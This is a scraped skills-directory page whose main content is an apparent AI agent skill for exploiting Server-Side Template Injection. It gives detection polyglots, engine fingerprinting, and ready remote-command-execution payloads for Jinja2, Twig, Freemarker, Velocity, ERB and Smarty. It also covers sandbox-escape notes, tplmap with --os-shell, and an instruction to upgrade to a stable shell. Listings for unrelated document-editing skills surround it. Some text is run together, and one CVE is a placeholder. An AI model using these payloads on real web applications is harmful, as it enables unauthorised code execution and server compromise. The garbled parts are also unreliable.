pptx
Create and edit slide decks, generate slides from templates, and extract text.
ANanthropics/skills203k2,822 new stars in the last 7 days
Server-Side Template Injection detection→engine-fingerprint→RCE for web apps. Use when user input renders into a server-side template (names, greetings, email/PDF/report generators, error pages, profile fields) and math payloads evaluate. Triggers - {{7*7}} returns 49, ${7*7},
Reflected input where a math/template payload EVALUATES server-side (not just echoes). Common sinks: name/greeting fields, email/PDF/report/invoice generators, custom error pages, admin templates.
Send the polyglot; if any arithmetic evaluates, it's SSTI (reflected ≠ executed — the value must be COMPUTED):
${7*7} {{7*7}} <%= 7*7 %> #{7*7} ${{7*7}} @(7*7)
49/7777777 back = hit. Then fingerprint the engine to pick the RCE path.
{{7*7}}=49 but {{7*'7'}} → 7777777 = Jinja2/Twig (Python/PHP); TemplateError = Jinja2.${7*7}=49 = Freemarker/Velocity (Java) or JSP EL.#{7*7} = Ruby ERB / Thymeleaf / JSF.<%= 7*7 %> = ERB (Ruby) / EJS (Node).${{7*7}} errors but {{7*7}} ok = Handlebars/Node.Jinja2: {{cycler.__init__.__globals__.os.popen('id').read()}}
{{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
Twig: {{['id']|filter('system')}} / {{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}
Freemarker: <#assign x="freemarker.template.utility.Execute"?new()>${x("id")}
Velocity: #set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("exec",...)...("id")
ERB: <%= `id` %> / <%= system('id') %>
Smarty: {system('id')} / {php}system('id');{/php}
Proof required: id/uname -a output (RCE), or read a secret file. Then convert to a stable shell / record_artifact.
tplmap -u '<url>?p=*' (auto-detect+exploit) if available; else manual per above. nuclei -tags ssti.
{{ }} → try ${}, #{}, whitespace/comment obfuscation.__globals__/__builtins__ still works if SandboxedEnvironment not used. CVE-2024-22195 (Jinja2 <3.1.4): Sandbox bypass via Namespace object. Upgrade to 3.1.4+.sandbox extension improved; allow_tag/allow_filter/allow_function required. Escape via Twirl/Twig_Extension_Sandbox misconfig. Check Twig_Environment config.new_builtin restrictions; ?new() blocked unless Configuration.setNewBuiltinClassResolver. CVE-2024-XXXXX (check latest).secure mode restricts Class.forName; runtime.references.strict and runtime.references.strict.escape settings.this.constructor.prototype in partials/helpers if misconfigured.{{7*7}} works. RCE via Runtime.getRuntime().exec() if no security manager.handlebars / mustache in Workers — SSTI in edge functions. Check wrangler deployments.react-dom/server + custom template rendering — rare but possible in getStaticProps/generateStaticParams.{{ ''.__class__.__mro__[1].__subclasses__() }} → find subprocess.Popen index. Automated: tplmap --engine jinja2.{{ _self.env.registerUndefinedFilterCallback('exec') }}{{ _self.env.getFilter('id') }} — works if exec allowed. {{ ['id'] | filter('system') }} — if system in allowed filters.<#assign x="freemarker.template.utility.Execute"?new()>${x("id")} — if ?new() not blocked.--engine auto + --os-shell. pip install tplmap.ssti-detect, ssti-rce-jinja2, ssti-rce-twig, ssti-rce-freemarker.Create and edit slide decks, generate slides from templates, and extract text.
ANanthropics/skills203k2,822 new stars in the last 7 days
Create and edit Word docs with TOC, page numbers, headers and more.
ANanthropics/skills203k2,822 new stars in the last 7 days
Read and edit PDFs: extract text and tables, merge, split, rotate, and fill forms.
ANanthropics/skills203k2,822 new stars in the last 7 days
Co-write specs, proposals and decision docs through a structured, iterative workflow.
ANanthropics/skills203k2,822 new stars in the last 7 days
Read and edit spreadsheets: add columns, compute formulas, format, and clean messy data.
ANanthropics/skills203k2,822 new stars in the last 7 days
Create posters and visual art as PNG or PDF, guided by a design philosophy.
ANanthropics/skills203k2,822 new stars in the last 7 days